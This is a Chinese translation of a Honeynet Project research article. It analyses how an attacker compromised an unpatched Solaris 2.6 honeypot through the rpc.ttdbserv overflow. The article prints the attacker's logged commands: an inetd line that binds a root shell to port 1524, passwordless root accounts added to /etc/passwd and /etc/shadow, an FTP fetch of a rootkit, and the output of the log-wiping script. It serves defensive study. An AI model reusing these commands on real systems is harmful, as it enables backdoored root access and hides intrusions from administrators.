瞭解駭客的動機和心理
該篇文章是「瞭解你的敵人」系列之一,該系列主要介紹黑客社團使用的工具和策略。該文章不像該系列其他的文章主要介紹黑客社團怎樣怎樣、特別是他們使用的技術和工具的實現,而是分析他們的動機和心理。第一部分介紹一台Solaris 2.6系統被入侵,第二部分所提到的很少有相關信息發佈,介紹在黑客入侵系統後14天內在「蜜罐」中的通話和行動記錄,通過這些信息我們可以瞭解他們為什麼和怎樣攻擊計算機系統。在入侵後,他們緊接著在系統中放置了一個IRC bot,這個東西是由黑客們所配置和實現的,用來抓取在IRC頻道中的所有聊天記錄。我們在這兩個星期當中一直監視這些記錄,所有的信息都羅列在下面。這篇文章並不是要對整個黑客社團的行為作一個概括,相反,我們通過在事件當中一些個體行為的介紹,來給大家一些提示」他們當中某些人怎樣想和怎樣做「,這也是我們在安全領域所面對的一些普通現象,我們真誠的希望其他安全人員能夠從中受益。
下面的所有信息是通過"honeynet"得到的。"honeynet",顧名思義,就是由網絡上大量的"蜜罐"所組成,"蜜罐"最簡單的定義就是通過精心設計的將被黑客社團所攻擊的目標主機。一些"蜜罐"是用來分散攻擊者攻擊真正主機的注意力,另外一些是用來學習攻擊者所使用的工具和策略的,我們這裡所提到是屬於後者。在本文中提到的很多信息被做了一些修改,特別是用戶名和口令、信用卡號、以及很多主機名,其他如確切技術細節、工具以及聊天記錄我們並沒有作修改。所有信息在被發布之前都已經遞交給CERT和FBI,同時對於哪些我們確信遭受入侵的系統,大約發了370份通告給它們的管理員。
第一部分:入侵
我們這裡使用的"蜜罐"是缺省安裝的Solaris 2.6系統,沒有任何修改和安裝補丁程序。在此討論的漏洞在任何缺省安裝沒有使用補丁程序的Solaris 2.6系統上都存在。這也是整個"蜜罐"的設計意圖,在系統上佈置漏洞並學習它是如何被攻破的。在被攻擊過程中,我們可以學習黑客社團所使用的工具和策略。同時"蜜罐"本身也被設計跟蹤黑客的每一步行為。
在 2000年6月4日,我們的缺省安裝Solaris 2.6的"蜜罐"遭受到針對rpc.ttdbserv漏洞的攻擊,該漏洞允許在ToolTalk 對象數據庫服務上通過溢出遠程執行代碼(見CVE-1999-0003)。該漏洞在SANS組織的TOP 10上名列第三。我們使用基於sniffer的免費IDS系統Snort檢測到該攻擊的。
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775
rpc.ttdbserv漏洞允許遠程用戶通過緩衝溢出攻擊在目標系統上以 root權限執行任意命令。下面是攻擊者在攻擊成功後,在系統上安裝後門,具體如下所示:攻擊者在'/tmp/bob'文件中加上ingreslock服務(在/etc/service預定義的,端口1524),然後以改文件作為配置文件重新啟動inetd,這樣/bin/sh被以root權限幫定在 1524端口,給予了遠程用戶root存取權限。
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
當黑客安裝了後門,他緊接著連接到1524端口,作為root獲得一個 shell,並開始執行如下命令。他增加了兩個系統用戶帳號,以便以後可以telnet上來,注意這裡的錯誤和";"控制字符(因為1524端口的 shell沒有正確的環境)。
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;
此時,攻擊者在我們系統上擁有了兩個帳號,他可以以're'用戶telnet上來,並可以通過su成UID為0的'r'用戶來獲得系統root權限。我們將回顧一下攻擊者當時以及後來的擊鍵記錄。
!"' !"P#$#$'LINUX'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r
現在黑客擁有了root權限,一般來首,下一步要做的就是安裝一些rootkit並控制系統。首先我們看到黑客在系統上產生一個隱藏目錄來隱藏他的工具包。
# mkdir /dev/".. "
# cd /dev/".. "
在產生隱藏目錄後,黑客開始從其他機器上存取rootkit。
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
一旦rootkit被成功下載,該工具包被解開並被安裝。注意整個安裝過程只執行了一個簡單的腳本 setup.sh,這個腳本調用另外一個腳本 secure.sh。你也可以下載在這裡使用整個Solaris rootkit。
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
這裡rootkit安裝腳本第一次清理和攻擊者行為相關的日誌文件信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
在清理完日誌系統後,下一步是加固我們的系統(他們多好啊)。因為他們可以輕鬆的入侵,別人也可以,他們並不想讓別人濫用他們的成果。
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
以下是引用片段:
下一步,一個IRC proxy開始運行,在這裡比較迷惑的是隨後腳本殺死了該進程,我也不太明白了。
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
以下是引用片段:
隨後做了更多的修改,包括拷貝後門程序,包括/bin/login、/bin /ls、/usr/sbin/netstat,以及/bin/ps,而這些在腳本的輸出中並看不到。強烈建議你看一下setup.sh和 secure.sh的源碼,看到底發生了什麼事,說不定一天你不得不查看已經被類似的工具控制的系統。
# kill -9 11467
# ps -u root |grep |grep inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
以下是引用片段:
最後,攻擊者運行了IRC bot,該程序是為了保證他們能夠按照自己的意願控制該IRC頻道,同時它也記錄IRC頻道全部的聊天記錄,也正是通過他們安裝的bot,我們得到了他們的所有聊天記錄。
# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit
當安置好bot後,黑客離開了系統,正是這個bot捕獲了他們的所有對話(見下面第二部分)。如果想得到更多的關於IRC和黑客社團如何利用IRC和bot,可以參考David Brumley的<Tracking Hackers on IRC>。在以後的幾週裡,為了確認仍然控制著系統他們又登上系統幾次。一週後,6月11日,他們再次連接過來嘗試使用該系統進行拒絕服務攻擊。當然,該"蜜罐"設計時已經考慮到阻塞所有使用它作為對外攻擊的基地的嘗試。所有使用該系統進行拒絕服務攻擊的嘗試都會被阻塞掉。
我們在這裡所看到的是很普通的現象:黑客社團使用的工具和策略,他們根據已知的漏洞隨機掃瞄Internet(在該案例中是rpc.ttdbserv),一旦發現,他們會很快的入侵系統並使用腳本工具安裝後門,一旦控制了系統,他們會安裝bot以確保他們控制著IRC頻道。這裡唯一不一般的是他們的bot為我們所捕獲的聊天信息。在本文的下一部分我們將以他們的聊天記錄分析他們的動機和心理。如果你懷疑你的系統已經被相同的方法入侵,可以參考checklist,它包括了怎樣檢查被入侵系統相關信息。